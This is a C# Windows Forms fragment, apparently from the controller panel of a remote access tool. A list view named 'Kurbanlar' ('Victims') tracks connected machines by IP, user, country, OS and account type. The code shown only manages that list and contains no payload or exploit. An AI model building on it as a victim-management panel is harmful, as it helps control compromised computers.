private void RemoveClientFromListview(Client client) { if (client == null) { return; } try { Kurbanlar.Invoke((MethodInvoker) delegate { lock (_lockClients) { foreach (ListViewItem lvi in Kurbanlar.Items.Cast <ListViewItem>() .Where(lvi => lvi != null && client.Equals(lvi.Tag))) { lvi.Remove(); break; } } }); UpdateWindowTitle(); } catch (InvalidOperationException) { } }
private void AddClientToListview(Client client) { if (client == null) { return; } try { ListViewItem lvi = new ListViewItem(new string[] { " " + client.EndPoint.Address, client.Value.Etiket, client.Value.KullanıcıPcde, client.Value.Versiyon, "Bağlandı", "Aktif", client.Value.ÜlkeKodu, client.Value.IşletimSistemi, client.Value.HesapTürü }) { Tag = client, ImageIndex = client.Value.ImageIndex }; Kurbanlar.Invoke((MethodInvoker) delegate { lock (_lockClients) { Kurbanlar.Items.Add(lvi); } }); UpdateWindowTitle(); } catch (InvalidOperationException) { } }
private ListViewItem GetListViewItemByClient(Client client) { if (client == null) { return(null); } ListViewItem itemClient = null; Kurbanlar.Invoke((MethodInvoker) delegate { itemClient = Kurbanlar.Items.Cast <ListViewItem>() .FirstOrDefault(lvi => lvi != null && client.Equals(lvi.Tag)); }); return(itemClient); }
private Client[] GetSelectedClients() { List <Client> clients = new List <Client>(); Kurbanlar.Invoke((MethodInvoker) delegate { lock (_lockClients) { if (Kurbanlar.SelectedItems.Count == 0) { return; } clients.AddRange( Kurbanlar.SelectedItems.Cast <ListViewItem>() .Where(lvi => lvi != null) .Select(lvi => lvi.Tag as Client)); } }); return(clients.ToArray()); }
public void ClientleKurbanDurumuAyarla(Client client, KullanıcıDurumu userStatus) { if (client == null) { return; } try { Kurbanlar.Invoke((MethodInvoker) delegate { var item = GetListViewItemByClient(client); if (item != null) { item.SubItems[USERSTATUS_ID].Text = userStatus.ToString(); } }); } catch (InvalidOperationException) { } }
public void KurbanDurumuAyarla(Client client, string text) { if (client == null) { return; } try { Kurbanlar.Invoke((MethodInvoker) delegate { var item = GetListViewItemByClient(client); if (item != null) { item.SubItems[STATUS_ID].Text = text; } }); } catch (InvalidOperationException) { } }
public void SetToolTipText(Client client, string text) { if (client == null) { return; } try { Kurbanlar.Invoke((MethodInvoker) delegate { var item = GetListViewItemByClient(client); if (item != null) { item.ToolTipText = text; } }); } catch (InvalidOperationException) { } }
private void selectAllToolStripMenuItem_Click(object sender, EventArgs e) { Kurbanlar.SelectAllItems(); }